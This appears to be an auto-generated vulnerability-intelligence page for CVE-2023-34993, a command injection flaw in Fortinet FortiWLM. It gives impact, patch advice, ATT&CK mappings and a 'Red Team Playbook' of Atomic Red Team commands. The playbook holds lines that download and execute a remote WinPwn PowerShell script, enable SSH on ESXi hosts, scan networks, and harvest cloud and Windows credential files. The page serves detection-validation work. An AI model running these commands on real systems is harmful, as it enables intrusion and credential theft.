CVE-2023-34993
Overview
This vulnerability is a command injection flaw arising from improper neutralization of special characters in OS command contexts. The root cause lies in inadequate input validation of HTTP GET request parameters, which are directly incorporated into OS commands without sanitization. The affected component is the Fortinet FortiWLM management interface in versions 8.5.0 through 8.5.4 and 8.6.0 through 8.6.5.
Vulnerability Description
A improper neutralization of special elements used in an os command ('os command injection') in Fortinet FortiWLM version 8.6.0 through 8.6.5 and 8.5.0 through 8.5.4 allows attacker to execute unauthorized code or commands via specifically crafted http get request parameters.
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary OS commands on the FortiWLM device with the privileges of the running service. This enables full compromise of the device, including potential data exfiltration, service disruption, or lateral movement within the network. The attack requires only network access to the FortiWLM management interface and no user interaction, as indicated by CVSS metrics AV:N/AC:L/PR:N/UI:N. This can lead to critical operational and security impacts for affected organizations.
Solution
Fortinet has released patches addressing this vulnerability in FortiWLM firmware versions beyond 8.5.4 and 8.6.5. Administrators should upgrade to the latest FortiWLM firmware as recommended in the Fortinet advisory FG-IR-23-140 available at https://fortiguard.com/psirt/FG-IR-23-140. No specific workarounds are noted; timely application of the vendor-provided patches is required to remediate this issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in Fortinet's FortiWLM, characterized by improper neutralization of special elements used in operating system commands, presents a significant security risk. This flaw allows an attacker to inject malicious commands through specially crafted HTTP GET request parameters. The improper handling of input data means that an attacker can manipulate the application's command execution process, leading to unauthorized code execution on the server. This vulnerability affects multiple versions of FortiWLM, specifically those in the 8.6.0 to 8.6.5 range and 8.5.0 to 8.5.4 range, highlighting a critical need for users of these versions to address their systems promptly.
The attack vector primarily involves sending crafted HTTP requests to the vulnerable application. An attacker could exploit this vulnerability by embedding malicious command sequences within the parameters of the GET request. Once the server processes these requests, the injected commands can be executed with the same privileges as the application, potentially leading to a full system compromise. Scenarios may include an attacker gaining access to sensitive data, altering system configurations, or even deploying additional malware. The ease of exploitation, combined with the high impact of successful attacks, makes this vulnerability particularly concerning for organizations that rely on FortiWLM for wireless LAN management.
The real-world impact of this vulnerability can be severe, especially for organizations that utilize FortiWLM in critical network infrastructure. Successful exploitation could lead to unauthorized access to sensitive information, disruption of services, and significant financial losses. Additionally, the reputational damage resulting from a breach could have long-lasting effects on customer trust and brand integrity. Organizations may also face regulatory repercussions if they fail to protect sensitive data adequately, further compounding the business risks associated with this vulnerability.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-layered security approach. Regularly updating FortiWLM to the latest patched versions is crucial, as this will eliminate the vulnerability and reduce exposure to potential attacks. Network monitoring tools should be employed to detect unusual patterns of HTTP requests that may indicate an attempted exploitation. Additionally, employing web application firewalls (WAFs) can help filter out malicious input before it reaches the application layer. Organizations should also conduct thorough security assessments and penetration testing to identify and remediate vulnerabilities within their systems proactively.
In conclusion, the improper handling of command inputs in Fortinet's FortiWLM poses a significant threat to organizations that utilize this software. The potential for unauthorized code execution through crafted HTTP requests underscores the importance of maintaining up-to-date security practices. By implementing robust detection and mitigation strategies, organizations can safeguard their networks against exploitation and minimize the associated risks. The proactive management of vulnerabilities is essential in today’s threat landscape, where attackers continuously seek to exploit weaknesses for malicious gain.
CSURFACE threat intelligence has identified a moderate increase in detection activity related to CVE-2023-34993 targeting Fortinet FortiWLM, indicating sustained adversary interest despite a significant decline in the EPSS score. This divergence suggests that while the likelihood of widespread exploitation is decreasing, threat actors continue to probe and attempt exploitation in specific environments. The persistence of these attempts underscores the vulnerability’s attractiveness as a vector for unauthorized command execution, particularly in networks where FortiWLM remains unpatched or inadequately monitored. From a defensive perspective, this evolving pattern highlights the necessity for continued vigilance and targeted detection capabilities, as attackers may be leveraging niche opportunities rather than broad campaigns. Consequently, the overall threat level remains critical due to the potential impact of successful exploitation, but the reduced EPSS score signals a possible contraction in the exploit’s prevalence across the broader threat landscape.
Affected Products (2)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Fortinet | Fortiwlm | All |
cpe:2.3:a:fortinet:fortiwlm:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortiwlm | All |
cpe:2.3:a:fortinet:fortiwlm:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
30 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
55%
|
High | High | |
| CAPEC-6 | Argument Injection |
51%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
48%
|
Medium | High |
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-34993 |
| fortiguard.com |
GitHub CVE
|
https://fortiguard.com/psirt/FG-IR-23-140 |